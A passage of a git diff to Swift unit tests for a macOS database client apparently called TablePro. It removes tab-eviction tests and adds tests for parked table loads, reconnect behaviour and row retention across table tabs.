rows and their ID index") - func discardRowsKeepingMetadataClearsIndex() { - var table = TableRows.from( - queryRows: [["a"]], - columns: ["c1"], - columnTypes: [.text(rawType: nil)] - ) - - table.discardRowsKeepingMetadata() - - #expect(table.rows.isEmpty) - #expect(table.index(of: .existing(0)) == nil) - #expect(table.row(withID: .existing(0)) == nil) - #expect(table.columns == ["c1"]) - #expect(table.columnTypes == [.text(rawType: nil)]) - } } struct TableRowsEditTests { diff --git a/apple/TableProTests/Views/Main/CatalogChangeWindowTests.swift b/apple/TableProTests/Views/Main/CatalogChangeWindowTests.swift index b6d9c1d808..fbeb76328f 100644 --- a/apple/TableProTests/Views/Main/CatalogChangeWindowTests.swift +++ b/apple/TableProTests/Views/Main/CatalogChangeWindowTests.swift @@ -182,7 +182,7 @@ struct CatalogChangeWindowTests { tabManager.selectedTabId = empty.id coordinator.lazyLoadCurrentTabIfNeeded() - #expect(coordinator.pendingLoadTrigger == .userInitiated) + #expect(coordinator.parkedTableLoad?.trigger == .userInitiated) } @Test("a rows change reloads the selected tab on that table when nothing of the user's is in it") @@ -247,7 +247,7 @@ struct CatalogChangeWindowTests { coordinator.applyObjectChange(Self.change(connection, name: "users", database: "shop", schema: nil, kind: .rows)) - #expect(coordinator.pendingLoadTrigger == .userInitiated) + #expect(coordinator.parkedTableLoad?.trigger == .userInitiated) } @Test("a structure change marks the structure of a tab on that table, and one holding staged edits owes it") diff --git a/apple/TableProTests/Views/Main/EvictionTests.swift b/apple/TableProTests/Views/Main/EvictionTests.swift deleted file mode 100644 index 351d593627..0000000000 --- a/apple/TableProTests/Views/Main/EvictionTests.swift +++ /dev/null @@ -1,357 +0,0 @@ -// -// EvictionTests.swift -// TableProTests -// -// Tests for cross-window tab eviction -// - -import Foundation -@testable import TablePro -import TableProPluginKit -@testable import TableProUtilities -import Testing - -@MainActor -struct EvictionTests { - private let fixtures = CoordinatorFixtures() - - private func makeCoordinator() -> (MainContentCoordinator, QueryTabManager) { - let fixture = fixtures.make() - return (fixture.coordinator, fixture.tabManager) - } - - private func addLoadedTab( - to coordinator: MainContentCoordinator, - tabManager: QueryTabManager, - tableName: String = "users" - ) throws { - try tabManager.addTableTab(tableName: tableName) - guard let index = tabManager.selectedTabIndex else { return } - let rows = TestFixtures.makeRows(count: 10) - let tabId = tabManager.tabs[index].id - let columns = ["id", "name", "email"] - let columnTypes: [ColumnType] = Array(repeating: .text(rawType: nil), count: columns.count) - let tableRows = TableRows.from(queryRows: rows.map { row in row.map(PluginCellValue.fromOptional) }, columns: columns, columnTypes: columnTypes) - coordinator.setActiveTableRows(tableRows, for: tabId) - let resultSet = ResultSet(label: tableName, tableRows: tableRows) - tabManager.mutate(at: index) { tab in - tab.display.resultSets = [resultSet] - tab.display.activeResultSetId = resultSet.id - tab.execution.lastExecutedAt = Date() - } - } - - @Test("evictInactiveRowData evicts background tabs without pending changes") - func evictsLoadedTabs() throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - let backgroundTabId = tabManager.tabs[0].id - let backgroundResult = try #require(tabManager.tabs[0].display.activeResultSet) - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10) - #expect(backgroundResult.tableRows.rows.count == 10) - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false) - - coordinator.evictInactiveRowData() - - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == true) - #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.isEmpty) - #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).index(of: .existing(0)) == nil) - #expect(backgroundResult.tableRows.rows.isEmpty) - #expect(backgroundResult.tableRows.index(of: .existing(0)) == nil) - } - - @Test("eviction helper never evicts the selected tab") - func preservesSelectedTab() throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - let selectedTabId = try #require(tabManager.selectedTabId) - let selectedResult = try #require(tabManager.selectedTab?.display.activeResultSet) - let loadEpoch = try #require(tabManager.selectedTab?.loadEpoch) - - let didEvict = coordinator.evictReloadableTableRows(for: selectedTabId) - - #expect(didEvict == false) - #expect(coordinator.tabSessionRegistry.isEvicted(selectedTabId) == false) - #expect(coordinator.tabSessionRegistry.tableRows(for: selectedTabId).rows.count == 10) - #expect(selectedResult.tableRows.rows.count == 10) - #expect(tabManager.selectedTab?.loadEpoch == loadEpoch) - } - - @Test("evictInactiveRowData skips tabs with pending changes") - func skipsTabsWithPendingChanges() throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - - tabManager.tabs[0].pendingChanges.deletedRowIDs = [.existing(0)] - let loadEpoch = tabManager.tabs[0].loadEpoch - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - coordinator.evictInactiveRowData() - - let tabId = tabManager.tabs[0].id - #expect(coordinator.tabSessionRegistry.isEvicted(tabId) == false) - #expect(coordinator.tabSessionRegistry.tableRows(for: tabId).rows.count == 10) - #expect(tabManager.tabs[0].loadEpoch == loadEpoch) - } - - @Test("evictInactiveRowData skips tabs with pinned results") - func preservesPinnedResults() throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - let backgroundTabId = tabManager.tabs[0].id - let pinnedResult = try #require(tabManager.tabs[0].display.activeResultSet) - pinnedResult.isPinned = true - let loadEpoch = tabManager.tabs[0].loadEpoch - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - coordinator.evictInactiveRowData() - - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false) - #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10) - #expect(pinnedResult.tableRows.rows.count == 10) - #expect(pinnedResult.tableRows.index(of: .existing(0)) == 0) - #expect(tabManager.tabs[0].loadEpoch == loadEpoch) - } - - @Test("evictInactiveRowData skips table tabs that cannot auto-reload") - func skipsNonReloadableTableTabs() throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - let backgroundTabId = tabManager.tabs[0].id - tabManager.tabs[0].execution.errorMessage = "connection lost" - let loadEpoch = tabManager.tabs[0].loadEpoch - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - coordinator.evictInactiveRowData() - - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false) - #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10) - #expect(tabManager.tabs[0].loadEpoch == loadEpoch) - } - - @Test("evictInactiveRowData skips an executing table tab") - func skipsExecutingTableTab() throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - let backgroundTabId = tabManager.tabs[0].id - let loadEpoch = tabManager.tabs[0].loadEpoch - let claim = coordinator.tabExecution.claim(backgroundTabId) - defer { _ = coordinator.tabExecution.settle(claim) } - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - coordinator.evictInactiveRowData() - - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false) - #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10) - #expect(tabManager.tabs[0].loadEpoch == loadEpoch) - } - - @Test("evictInactiveRowData skips a table tab with an active load") - func skipsTableTabWithActiveLoad() throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - let backgroundTabId = tabManager.tabs[0].id - let loadEpoch = tabManager.tabs[0].loadEpoch - let inFlight = Task { _ = try? await Task.sleep(for: .seconds(60)) } - coordinator.tableLoadTasks[backgroundTabId] = (UUID(), inFlight) - defer { - inFlight.cancel() - coordinator.tableLoadTasks[backgroundTabId] = nil - } - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - coordinator.evictInactiveRowData() - - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false) - #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10) - #expect(tabManager.tabs[0].loadEpoch == loadEpoch) - } - - @Test("evictInactiveRowData skips tables loading rows", arguments: [false, true]) - func skipsTableTabLoadingRows(isLoadingMore: Bool) throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - let backgroundTabId = tabManager.tabs[0].id - let loadEpoch = tabManager.tabs[0].loadEpoch - tabManager.mutate(at: 0) { tab in - if isLoadingMore { - tab.pagination.isLoadingMore = true - } else { - tab.pagination.isLoading = true - } - } - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - coordinator.evictInactiveRowData() - - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false) - #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10) - #expect(tabManager.tabs[0].loadEpoch == loadEpoch) - } - - @Test("evictInactiveRowData does not evict query results") - func preservesQueryResults() throws { - let (coordinator, tabManager) = makeCoordinator() - tabManager.addTab(initialQuery: "SELECT 1") - let queryIndex = try #require(tabManager.selectedTabIndex) - let queryTabId = tabManager.tabs[queryIndex].id - let queryRows = TableRows.from( - queryRows: [[.text("1")]], - columns: ["value"], - columnTypes: [.integer(rawType: nil)] - ) - coordinator.setActiveTableRows(queryRows, for: queryTabId) - let queryResult = ResultSet(label: "SELECT 1", tableRows: queryRows) - tabManager.mutate(at: queryIndex) { tab in - tab.display.resultSets = [queryResult] - tab.display.activeResultSetId = queryResult.id - tab.execution.lastExecutedAt = Date() - } - let loadEpoch = tabManager.tabs[queryIndex].loadEpoch - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - coordinator.evictInactiveRowData() - - #expect(coordinator.tabSessionRegistry.isEvicted(queryTabId) == false) - #expect(coordinator.tabSessionRegistry.tableRows(for: queryTabId).rows.count == 1) - #expect(queryResult.tableRows.rows.count == 1) - #expect(tabManager.tabs[queryIndex].loadEpoch == loadEpoch) - } - - @Test("evictInactiveRowData preserves column metadata after eviction") - func preservesMetadataAfterEviction() throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - let backgroundTabId = tabManager.tabs[0].id - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - coordinator.evictInactiveRowData() - - let rows = coordinator.tabSessionRegistry.tableRows(for: backgroundTabId) - #expect(rows.columns == ["id", "name", "email"]) - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == true) - } - - @Test("evictInactiveRowData with no tabs is no-op") - func noTabsIsNoOp() { - let (coordinator, _) = makeCoordinator() - coordinator.evictInactiveRowData() - } - - @Test("eviction skips a table tab whose query is blank") - func skipsTableTabWithBlankQuery() throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - let backgroundTabId = tabManager.tabs[0].id - tabManager.mutate(at: 0) { $0.content.query = " \n\t " } - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - coordinator.evictInactiveRowData() - - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false) - #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10) - } - - @Test("eviction skips a table tab running work that took no execution claim") - func skipsTableTabWithUnclaimedWork() throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - let backgroundTabId = tabManager.tabs[0].id - let token = coordinator.tabExecution.beginUnclaimedWork(for: backgroundTabId) - defer { coordinator.tabExecution.endUnclaimedWork(token, for: backgroundTabId) } - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - coordinator.evictInactiveRowData() - - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false) - #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10) - } - - @Test("metadata landing after eviction does not resurrect an empty tab") - func lateMetadataKeepsTabEvicted() throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - let backgroundTabId = tabManager.tabs[0].id - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - coordinator.evictInactiveRowData() - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == true) - - coordinator.mutateActiveTableRows(for: backgroundTabId) { rows in - rows.columnEnumValues["status"] = ["active", "archived"] - return .columnsReplaced - } - - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == true) - #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.isEmpty) - } - - @Test("rows arriving after eviction clear the evicted flag") - func reloadedRowsClearTheEvictedFlag() throws { - let (coordinator, tabManager) = makeCoordinator() - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users") - let backgroundTabId = tabManager.tabs[0].id - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders") - - coordinator.evictInactiveRowData() - let reloaded = TableRows.from( - queryRows: [[.text("1")]], - columns: ["id"], - columnTypes: [.integer(rawType: nil)] - ) - coordinator.setActiveTableRows(reloaded, for: backgroundTabId) - - #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false) - #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 1) - } - - @Test("evictInactiveTabs keeps the newest tabs within the memory budget") - func budgetKeepsNewestTabs() throws { - let (coordinator, tabManager) = makeCoordinator() - let budget = MemoryPressureAdvisor.budgetForInactiveTabs() - let total = budget + 3 - var executedAt: [UUID: Date] = [:] - for index in 0.. 0) - for (position, tab) in evictable.enumerated() { - #expect(coordinator.tabSessionRegistry.isEvicted(tab.id) == (position < expectedEvicted)) - } - #expect(coordinator.tabSessionRegistry.isEvicted(selectedId) == false) - } - - @Test("evictInactiveTabs never evicts a tab it was told is active") - func budgetSkipsActiveTabs() throws { - let (coordinator, tabManager) = makeCoordinator() - let budget = MemoryPressureAdvisor.budgetForInactiveTabs() - for index in 0..<(budget + 3) { - try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "table_\(index)") - let tabIndex = try #require(tabManager.selectedTabIndex) - tabManager.mutate(at: tabIndex) { - $0.execution.lastExecutedAt = Date(timeIntervalSince1970: TimeInterval(1_000 + index)) - } - } - let selectedId = try #require(tabManager.selectedTabId) - let oldestId = tabManager.tabs[0].id - - coordinator.evictInactiveTabs(excluding: [selectedId, oldestId]) - - #expect(coordinator.tabSessionRegistry.isEvicted(oldestId) == false) - #expect(coordinator.tabSessionRegistry.tableRows(for: oldestId).rows.count == 10) - } -} diff --git a/apple/TableProTests/Views/Main/MainContentCoordinatorDisplayStateTests.swift b/apple/TableProTests/Views/Main/MainContentCoordinatorDisplayStateTests.swift index 8228adc933..ecec0f0675 100644 --- a/apple/TableProTests/Views/Main/MainContentCoordinatorDisplayStateTests.swift +++ b/apple/TableProTests/Views/Main/MainContentCoordinatorDisplayStateTests.swift @@ -119,20 +119,6 @@ struct MainContentCoordinatorDisplayStateTests { #expect(formatted.box(forID: .existing(0)) == nil) } - @Test("Evicting a tab's rows drops the text formatted from them") - func evictionDropsTheState() { - let (coordinator, tabManager) = makeCoordinator() - let first = addTableTab(to: tabManager, tableName: "orders") - let second = addTableTab(to: tabManager, tableName: "customers") - seedRows(coordinator, for: first.id) - seedRows(coordinator, for: second.id) - let formatted = cache(coordinator, first.id, rows: [0]) - - #expect(coordinator.evictReloadableTableRows(for: first.id)) - #expect(formatted.box(forID: .existing(0)) == nil) - #expect(coordinator.gridModel(forTab: first.id).rowCount == 0) - } - @Test("Closed tabs take their grid model with them") func closingATabPrunesTheState() { let (coordinator, tabManager) = makeCoordinator() diff --git a/apple/TableProTests/Views/Main/MainContentCoordinatorLazyLoadTests.swift b/apple/TableProTests/Views/Main/MainContentCoordinatorLazyLoadTests.swift index 8d1ddebb19..3251e31267 100644 --- a/apple/TableProTests/Views/Main/MainContentCoordinatorLazyLoadTests.swift +++ b/apple/TableProTests/Views/Main/MainContentCoordinatorLazyLoadTests.swift @@ -8,6 +8,7 @@ // and handleTabChange. // +import AppKit import Foundation import TableProPluginKit import Testing @@ -71,7 +72,7 @@ struct MainContentCoordinatorLazyLoadTests { func skipsWhenNoSelectedTab() { let (coordinator, _) = makeCoordinator() coordinator.lazyLoadCurrentTabIfNeeded() - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) } @Test("Returns early when selected tab is a query tab (not a table tab)") @@ -79,7 +80,7 @@ struct MainContentCoordinatorLazyLoadTests { let (coordinator, tabManager) = makeCoordinator() _ = addQueryTab(to: tabManager) coordinator.lazyLoadCurrentTabIfNeeded() - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) } @Test("Returns early when tab has an error message") @@ -92,7 +93,7 @@ struct MainContentCoordinatorLazyLoadTests { } tabManager.tabs[idx].execution.errorMessage = "boom" coordinator.lazyLoadCurrentTabIfNeeded() - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) } @Test("Returns early when tab query is whitespace-only") @@ -100,7 +101,7 @@ struct MainContentCoordinatorLazyLoadTests { let (coordinator, tabManager) = makeCoordinator() _ = addTableTab(to: tabManager, query: " ") coordinator.lazyLoadCurrentTabIfNeeded() - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) } @Test("Returns early when tab has fresh row data already loaded") @@ -115,7 +116,7 @@ struct MainContentCoordinatorLazyLoadTests { tabManager.tabs[idx].execution.lastExecutedAt = Date() coordinator.lazyLoadCurrentTabIfNeeded() - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) #expect(coordinator.tabSessionRegistry.tableRows(for: tabId).rows.count == 5) } @@ -133,7 +134,7 @@ struct MainContentCoordinatorLazyLoadTests { coordinator.lazyLoadCurrentTabIfNeeded() - #expect(coordinator.pendingLoadTrigger == .userInitiated) + #expect(coordinator.parkedTableLoad?.trigger == .userInitiated) #expect(coordinator.tabSessionRegistry.tableRows(for: tabId).rows.count == 5) } @@ -152,7 +153,7 @@ struct MainContentCoordinatorLazyLoadTests { coordinator.lazyLoadCurrentTabIfNeeded() - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) } @Test("Returns early when tab has pending edits in the change manager") @@ -167,7 +168,7 @@ struct MainContentCoordinatorLazyLoadTests { tabManager.tabs[idx].pendingChanges.deletedRowIDs = [.existing(0)] coordinator.lazyLoadCurrentTabIfNeeded() - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) } @Test("Returns early when a load Task is already registered for this tab") @@ -182,7 +183,7 @@ struct MainContentCoordinatorLazyLoadTests { #expect(coordinator.tableLoadTasks.count == 1) #expect(coordinator.tableLoadTasks[tabId] != nil) - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) } /// The task slot stops answering once the load hands off to an execution: `executeQueryInternal` @@ -202,7 +203,7 @@ struct MainContentCoordinatorLazyLoadTests { #expect(coordinator.tabExecution.isCurrent(claim)) #expect(coordinator.tableLoadTasks[tabId] == nil) - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) } /// Fetch All runs without claiming the tab, so the narrower `isExecuting` would let a second @@ -221,31 +222,31 @@ struct MainContentCoordinatorLazyLoadTests { coordinator.lazyLoadCurrentTabIfNeeded() #expect(coordinator.tableLoadTasks[tabId] == nil) - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) } // MARK: - Connection guard - @Test("Sets pendingLoadTrigger when a fresh table tab is not connected") + @Test("Parks the load with its tab when a fresh table tab is not connected") func defersWhenDisconnected() { let (coordinator, tabManager) = makeCoordinator() - _ = addTableTab(to: tabManager) - coordinator.pendingLoadTrigger = nil + let tabId = addTableTab(to: tabManager) + coordinator.parkedTableLoad = nil coordinator.lazyLoadCurrentTabIfNeeded() - #expect(coordinator.pendingLoadTrigger == .userInitiated) + #expect(coordinator.parkedTableLoad == ParkedTableLoad(tabId: tabId, trigger: .userInitiated)) } - @Test("Carries the restore trigger into pendingLoadTrigger when disconnected") + @Test("Parks the restore trigger with its tab when disconnected") func carriesRestoreTriggerWhenDisconnected() { let (coordinator, tabManager) = makeCoordinator() - _ = addTableTab(to: tabManager) - coordinator.pendingLoadTrigger = nil + let tabId = addTableTab(to: tabManager) + coordinator.parkedTableLoad = nil coordinator.lazyLoadCurrentTabIfNeeded(trigger: .restore) - #expect(coordinator.pendingLoadTrigger == .restore) + #expect(coordinator.parkedTableLoad == ParkedTableLoad(tabId: tabId, trigger: .restore)) } @Test("A deferred restore tab does not load until its window becomes key") @@ -253,11 +254,11 @@ struct MainContentCoordinatorLazyLoadTests { let (coordinator, tabManager) = makeCoordinator() let tabId = addTableTab(to: tabManager) coordinator.deferredRestoreLoadTabId = tabId - coordinator.pendingLoadTrigger = nil + coordinator.parkedTableLoad = nil coordinator.lazyLoadCurrentTabIfNeeded(trigger: .restore) - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) #expect(coordinator.tableLoadTasks[tabId] == nil) } @@ -267,12 +268,12 @@ struct MainContentCoordinatorLazyLoadTests { let tabId = addTableTab(to: tabManager) coordinator.deferredRestoreLoadTabId = tabId coordinator.isKeyWindow = false - coordinator.pendingLoadTrigger = nil + coordinator.parkedTableLoad = nil coordinator.consumeDeferredRestoreLoadIfNeeded() #expect(coordinator.deferredRestoreLoadTabId == tabId) - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) #expect(coordinator.tableLoadTasks[tabId] == nil) } @@ -281,12 +282,12 @@ struct MainContentCoordinatorLazyLoadTests { let (coordinator, tabManager) = makeCoordinator() let tabId = addTableTab(to: tabManager) coordinator.deferredRestoreLoadTabId = tabId - coordinator.pendingLoadTrigger = nil + coordinator.parkedTableLoad = nil coordinator.handleWindowDidBecomeKey() #expect(coordinator.deferredRestoreLoadTabId == nil) - #expect(coordinator.pendingLoadTrigger == .restore) + #expect(coordinator.parkedTableLoad?.trigger == .restore) } /// A link or an agent can select another tab before the restored window comes forward. The @@ -303,10 +304,10 @@ struct MainContentCoordinatorLazyLoadTests { #expect(coordinator.deferredRestoreLoadTabId == nil) tabManager.selectedTabId = deferredId - coordinator.pendingLoadTrigger = nil + coordinator.parkedTableLoad = nil coordinator.lazyLoadCurrentTabIfNeeded() - #expect(coordinator.pendingLoadTrigger == .userInitiated) + #expect(coordinator.parkedTableLoad?.trigger == .userInitiated) } // MARK: - Idempotency @@ -326,7 +327,7 @@ struct MainContentCoordinatorLazyLoadTests { coordinator.lazyLoadCurrentTabIfNeeded() } #expect(coordinator.tabSessionRegistry.tableRows(for: tabId).rows.count == 4) - #expect(coordinator.pendingLoadTrigger == nil) + #expect(coordinator.parkedTableLoad == nil) } @Test("Clears an abandoned claim when no in-flight task remains") @@ -343,38 +344,7 @@ struct MainContentCoordinatorLazyLoadTests { coordinator.lazyLoadCurrentTabIfNeeded() #expect(coordinator.tabExecution.isExecuting(tabId) == false) - #expect(coordinator.pendingLoadTrigger == .userInitiated) - } - - // MARK: - loadEpoch bump triggers reload after eviction - - /// `.task(id:)` keys on the tab's own `loadEpoch`, so that is the one the eviction path has to - /// move. This used to assert on a copy held by the session that nothing reads, which would - /// have stayed green with the reload broken. - @Test("Evicting a background tab bumps the tab's loadEpoch so .task(id:) re-fires") - func evictionBumpsLoadEpoch() { - let (coordinator, tabManager) = makeCoordinator() - let background = addTableTab(to: tabManager, tableName: "orders") - seedRows(coordinator, for: background, rowCount: 7) - let foreground = addTableTab(to: tabManager, tableName: "customers") - tabManager.selectedTabId = foreground - guard let idx = tabManager.tabs.firstIndex(where: { $0.id == background }) else { - Issue.record("expected tab to exist") - return - } - tabManager.tabs[idx].execution.lastExecutedAt = Date() - let initialEpoch = tabManager.tabs[idx].loadEpoch - #expect(coordinator.tabSessionRegistry.tableRows(for: background).rows.count == 7) - - coordinator.evictInactiveRowData() - - guard let evictedTab = tabManager.tabs.first(where: { $0.id == background }) else { - Issue.record("expected tab to exist") - return - } - #expect(evictedTab.loadEpoch != initialEpoch) - #expect(coordinator.tabSessionRegistry.isEvicted(background) == true) - #expect(coordinator.tabSessionRegistry.isEvicted(foreground) == false) + #expect(coordinator.parkedTableLoad?.trigger == .userInitiated) } /// A claim with no task behind it is healed on the next lazy load. That heal never lowered the @@ -421,14 +391,91 @@ struct MainContentCoordinatorLazyLoadTests { #expect(coordinator.isKeyWindow == true) } - @Test("handleWindowDidBecomeKey cancels a pending eviction task") - func windowDidBecomeKeyCancelsEviction() { - let (coordinator, _) = makeCoordinator() - coordinator.handleWindowDidResignKey() - #expect(coordinator.evictionTask != nil) + @Test("Resigning and regaining key status runs no query") + func keyRoundTripRunsNothing() { + let (coordinator, tabManager) = makeCoordinator() + let tabId = addTableTab(to: tabManager) + seedRows(coordinator, for: tabId) + tabManager.mutate(tabId: tabId) { $0.execution.lastExecutedAt = Date() } + coordinator.handleWindowDidResignKey() + #expect(coordinator.isKeyWindow == false) coordinator.handleWindowDidBecomeKey() - #expect(coordinator.evictionTask == nil) + #expect(coordinator.isKeyWindow == true) + #expect(coordinator.tabExecution.isAnyExecuting == false) + #expect(coordinator.tableLoadTasks[tabId] == nil) + #expect(coordinator.tabSessionRegistry.tableRows(for: tabId).rows.count == 3) } + + // MARK: - Loading once the connection comes back + + /// The parked load used to be one window-wide trigger, consumed against whatever tab was + /// selected, and a query tab took it as a Run. + @Test("A connection coming back never runs the selected query tab's statement") + func reconnectNeverRunsAQueryTab() { + let (coordinator, tabManager) = makeCoordinator() + let tableTab = addTableTab(to: tabManager) + coordinator.parkedTableLoad = ParkedTableLoad(tabId: tableTab, trigger: .userInitiated) + let queryTab = addQueryTab(to: tabManager, query: "DELETE FROM orders WHERE id = 7") + + coordinator.loadSelectedTableTabAfterConnect() + + #expect(coordinator.parkedTableLoad == nil) + #expect(coordinator.tabExecution.isBusy(queryTab) == false) + #expect(coordinator.queryTasks.hasTask(for: queryTab) == false) + } + + @Test("A parked trigger goes only to the tab that parked it") + func parkedTriggerStaysWithItsTab() { + let (coordinator, tabManager) = makeCoordinator() + let restored = addTableTab(to: tabManager) + coordinator.parkedTableLoad = ParkedTableLoad(tabId: restored, trigger: .restore) + + coordinator.loadSelectedTableTabAfterConnect() + #expect(coordinator.parkedTableLoad == ParkedTableLoad(tabId: restored, trigger: .restore)) + + let other = addTableTab(to: tabManager, tableName: "orders", query: "SELECT * FROM orders") + coordinator.loadSelectedTableTabAfterConnect() + #expect(coordinator.parkedTableLoad == ParkedTableLoad(tabId: other, trigger: .userInitiated)) + } + + // MARK: - A changed table under an open cell + + @Test("A tab whose table changed waits for an open cell to close before it reloads") + func changedTableWaitsForAnOpenCell() throws { + let (coordinator, tabManager) = makeCoordinator() + let tabId = addTableTab(to: tabManager) + seedRows(coordinator, for: tabId) + tabManager.mutate(tabId: tabId) { $0.execution.lastExecutedAt = Date() } + coordinator.tabSessionRegistry.recordChange(TableFreshness.Change(extent: .rows, at: .now), for: tabId) + let editor = EditingGridView() + coordinator.gridModel(forTab: tabId).attach(editor) + let tab = try #require(tabManager.selectedTab) + + editor.isEditing = true + #expect(coordinator.canAutoLoadTableTab(tab) == false) + + editor.isEditing = false + #expect(coordinator.canAutoLoadTableTab(tab)) + } +} + +@MainActor +private final class EditingGridView: DataGridMountedView { + var isEditing = false + + func apply(_ change: DataGridChange) {} + func selectionDidChange() {} + func configurationDidChange() {} + func reveal(row: Int, displayColumn: Int?) {} + func revealColumn(_ displayColumn: Int) {} + func sortDidChange() {} + func summaryRulesDidChange() {} + func viewportSample() -> (row: Int, offset: CGFloat)? { nil } + func beginEditing(row: Int, displayColumn: Int) -> Bool { false } + func commitEditing() -> Bool { true } + func discardEditing() {} + func focus() -> Bool { false } + func anchor(forColumn displayColumn: Int) -> (view: NSView, rect: NSRect)? { nil } } diff --git a/apple/TableProTests/Views/Main/TableTabRowRetentionTests.swift b/apple/TableProTests/Views/Main/TableTabRowRetentionTests.swift new file mode 100644 index 0000000000..809cce7979 --- /dev/null +++ b/apple/TableProTests/Views/Main/TableTabRowRetentionTests.swift @@ -0,0 +1,145 @@ +// +// TableTabRowRetentionTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import TableProPluginKit +import TableProTestSupport +import TableProUtilities +import Testing + +@MainActor +struct TableTabRowRetentionTests { + private let fixtures = CoordinatorFixtures() + private static let rowCount = 10 + + private func makeCoordinator() -> (MainContentCoordinator, QueryTabManager) { + let fixture = fixtures.make() + return (fixture.coordinator, fixture.tabManager) + } + + private func addLoadedTableTab( + _ coordinator: MainContentCoordinator, + _ tabManager: QueryTabManager, + tableName: String + ) -> UUID { + var tab = QueryTab(title: tableName, query: "SELECT * FROM \(tableName)", tabType: .table, tableName: tableName) + tab.execution.lastExecutedAt = Date() + tabManager.tabs.append(tab) + tabManager.selectedTabId = tab.id + let rows = (0.. QueryTab { + try #require(tabManager.tabs.first { $0.id == id }) + } + + // The old budget eviction ran in the same deferred task as the cache prune, so the prune finishing means it would have run. + @Test("Switching through more table tabs than the cache budget keeps every tab's rows") + func switchingKeepsEveryTabsRows() async throws { + let (coordinator, tabManager) = makeCoordinator() + let ids = (0..<(GridDisplayCacheBudget.unmountedGrids() + 3)).map { + addLoadedTableTab(coordinator, tabManager, tableName: "table_\($0)") + } + 